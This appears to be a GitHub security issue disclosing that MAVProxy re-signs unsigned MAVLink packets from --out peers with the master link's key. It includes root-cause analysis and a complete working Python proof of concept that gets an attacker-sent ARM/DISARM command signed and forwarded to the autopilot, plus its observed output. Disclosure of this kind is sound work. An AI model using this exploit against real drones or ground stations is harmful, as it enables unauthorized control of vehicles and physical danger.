Skip to content

Unsigned packets on --out are re-signed with the master link's signing key, leaking signing authority to any peer reachable on the listener #1683

Description

@joshdabosh

Summary

When MAVProxy has a signing key loaded for its master (autopilot) link, the slave-to-master forwarder unconditionally signs any unsigned MAVLink packet that arrives on a --out slave link before forwarding it upstream. There is no authentication of the slave-side sender. Any peer that can deliver UDP packets to a --out udpin: listener (or write bytes to any other --out transport) can therefore have arbitrary commands — including MAV_CMD_COMPONENT_ARM_DISARM — minted with a valid signature under the master link's signing key and accepted by the autopilot as authentic.

In effect, loading a signing key into MAVProxy delegates that key's full authority to every peer reachable on every --out link, regardless of whether that peer ever possessed the passphrase.

Tested against master at 61a4e088 (2025-04-25).

Impact

Severity in a typical companion-computer deployment is high:

  • The standard documented pattern for letting a ground station connect over WiFi is --out udpin:0.0.0.0:14550. Once a signing key is loaded, anyone who can route a UDP packet to that address (e.g. on the drone's WiFi network) can issue ARM/DISARM, mode changes, mission uploads, parameter writes, and any other COMMAND_LONG/COMMAND_INT the autopilot will accept.
  • The attacker does not need the signing passphrase, never sees the key bytes, and does not need to be on-path between MAVProxy and the autopilot.
  • The relevant setting (mavfwd_signing) defaults to True, so the dangerous behavior is on by default whenever signing is configured.
  • The MAVLink specification calls out exactly this trust-boundary concern when it requires that SETUP_SIGNING "must never be automatically forwarded" between channels. The defect here leaks the use of the key across the same kind of boundary, which is materially the same authority.

Root cause

process_mavlink (MAVProxy/mavproxy.py:879) is invoked for every readable slave fd registered in the main select loop (MAVProxy/mavproxy.py:1167-1169, dispatched at 1198-1200 and 1205-1208). For each parsed message it picks a master link as the forwarding destination and then runs the re-signing branch:

# MAVProxy/mavproxy.py:899-913
if allow_fwd:
    for m in msgs:
        target_sysid = getattr(m, 'target_system', -1)
        if mpstate.settings.mavfwd_link > 0 and mpstate.settings.mavfwd_link <= len(mpstate.mav_master):
            output = mpstate.mav_master[mpstate.settings.mavfwd_link-1]
        else:
            # find best link by sysid
            output = mpstate.master(target_sysid)
        if (mpstate.settings.mavfwd_signing and
                output.mav.signing.sign_outgoing and
                (m._header.incompat_flags & mavutil.mavlink.MAVLINK_IFLAG_SIGNED) == 0):
            # repack the message if this is a signed link and not already signed
            m.pack(output.mav)

        output.write(m.get_msgbuf())

The three conditions guarding the re-pack are all properties of the destination master link, never of the source:

  1. mpstate.settings.mavfwd_signing — global setting, defaults to True (MAVProxy/mavproxy.py:253).
  2. output.mav.signing.sign_outgoing — the master's signing state.
  3. The inbound packet does not have MAVLINK_IFLAG_SIGNED set.

There is no condition that distinguishes a trusted internal source from an untrusted external --out peer. The signing module only ever installs sign_outgoing=True on master connections (MAVProxy/modules/mavproxy_signing.py:96 and :121, called for masters from MAVProxy/modules/mavproxy_link.py:445; the iteration at MAVProxy/modules/mavproxy_signing.py:134-135 is over mpstate.mav_master only). Slave mav_outputs connections have no signing state and are not authenticated in any other way before their packets reach the re-pack branch.

m.pack(output.mav) re-serializes the parsed message through the master link's MAVLink object, which appends a valid HMAC signature using the master link's secret key. output.write(m.get_msgbuf()) then sends the now-signed buffer to the autopilot, which accepts it.

Reproduction

The PoC below uses only the documented MAVProxy CLI (--master, --out, --default-modules=signing, ~/.mavproxy/signing.keys) and standard UDP sockets. No source patches, no monkey-patching, no test doubles. The "autopilot" is replaced by a UDP socket that observes what MAVProxy emits on the master link; the offline verifier confirms the emitted packet's signature against the master passphrase.

Save as repro.py, place a checkout of MAVProxy at ./MAVProxy/, create a venv at ./mp-venv/ with pymavlink and pyserial installed, then run mp-venv/bin/python repro.py.

#!/usr/bin/env python3
import hashlib, os, select, shutil, socket, subprocess, tempfile, time
from pathlib import Path
from pymavlink import mavutil

HERE = Path(__file__).parent.resolve()
MAVPROXY = HERE / "MAVProxy"
MAVPROXY_MAIN = MAVPROXY / "MAVProxy" / "mavproxy.py"
PYTHON = HERE / "mp-venv" / "bin" / "python"
PASSPHRASE = "ralphpass"
SIGNING_KEY = hashlib.sha256(PASSPHRASE.encode("ascii")).digest()
COMMAND = mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM


def free_udp_port():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind(("127.0.0.1", 0))
    p = s.getsockname()[1]
    s.close()
    return p


def make_unsigned_command():
    mav = mavutil.mavlink.MAVLink(None, srcSystem=42, srcComponent=190)
    msg = mavutil.mavlink.MAVLink_command_long_message(
        1, 1, COMMAND, 0, 1, 0, 0, 0, 0, 0, 0,
    )
    return msg.pack(mav)


def verifier():
    mav = mavutil.mavlink.MAVLink(None)
    mav.signing.secret_key = SIGNING_KEY
    mav.signing.timestamp = 0
    return mav


def recv_command(sock, deadline):
    parser = verifier()
    while time.time() < deadline:
        timeout = max(0.0, min(0.25, deadline - time.time()))
        if not select.select([sock], [], [], timeout)[0]:
            continue
        data, _ = sock.recvfrom(4096)
        try:
            msgs = parser.parse_buffer(data) or []
        except mavutil.mavlink.MAVError:
            continue
        for msg in msgs:
            if msg.get_type() == "COMMAND_LONG" and msg.command == COMMAND:
                return data, msg
    return None, None


def main():
    master_port = free_udp_port()
    out_port = free_udp_port()
    work = Path(tempfile.mkdtemp(prefix="mavproxy-signing-repro-", dir="/tmp"))
    receiver = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    receiver.bind(("127.0.0.1", master_port))
    receiver.setblocking(False)

    home = work / "home"
    (home / ".mavproxy").mkdir(parents=True)
    (home / ".mavproxy" / "signing.keys").write_text(
        f"udpout:127.0.0.1:{master_port} {PASSPHRASE}\n", encoding="ascii",
    )

    env = os.environ.copy()
    env["HOME"] = str(home)
    env["PYTHONPATH"] = str(MAVPROXY)
    env["MAVLINK20"] = "1"
    env["MAVLINK_DIALECT"] = "ardupilotmega"

    cmd = [
        str(PYTHON), str(MAVPROXY_MAIN),
        "--master", f"udpout:127.0.0.1:{master_port}",
        "--out", f"udpin:127.0.0.1:{out_port}",
        "--mav20", "--nowait", "--daemon", "--non-interactive",
        "--default-modules=signing",
        "--state-basedir", str(work / "state"),
        "--aircraft", "repro",
    ]
    proc = subprocess.Popen(
        cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=env,
    )

    try:
        time.sleep(1.5)
        if proc.poll() is not None:
            raise RuntimeError(f"MAVProxy exited early\n{proc.stdout.read()}")

        attacker = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        unsigned = make_unsigned_command()
        attacker.sendto(unsigned, ("127.0.0.1", out_port))
        forwarded, msg = recv_command(receiver, time.time() + 5.0)

        signed_bit = bool(unsigned[2] & mavutil.mavlink.MAVLINK_IFLAG_SIGNED)
        print(f"input_len={len(unsigned)} signed_bit={signed_bit}")
        if forwarded is None:
            raise SystemExit("no master-key-verified COMMAND_LONG observed")
        out_signed = bool(forwarded[2] & mavutil.mavlink.MAVLINK_IFLAG_SIGNED)
        print(f"output_len={len(forwarded)} signed_bit={out_signed}")
        print(f"verifies_with_master_key=True command={msg.command}")
        print(f"output_hex={forwarded.hex()}")
    finally:
        proc.terminate()
        try:
            proc.wait(timeout=3)
        except subprocess.TimeoutExpired:
            proc.kill()
        receiver.close()
        shutil.rmtree(work, ignore_errors=True)


if __name__ == "__main__":
    main()

Observed output (against 61a4e088)

input_len=41 signed_bit=False
output_len=57 signed_bit=True
verifies_with_master_key=True command=400
output_hex=fd20010000ffe64c00000000803f0000000000000000000000000000000000000000000000009001010100... (signature truncated)

The 41-byte unsigned input arrives at MAVProxy's --out listener; a 57-byte packet (16 additional bytes — the link ID, timestamp, and HMAC signature suffix) is emitted on the master link with IFLAG_SIGNED set, and verifies offline against the SHA-256 of ralphpass. The exploit requires no knowledge of the passphrase; the signing.keys file is never read by the attacker side.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions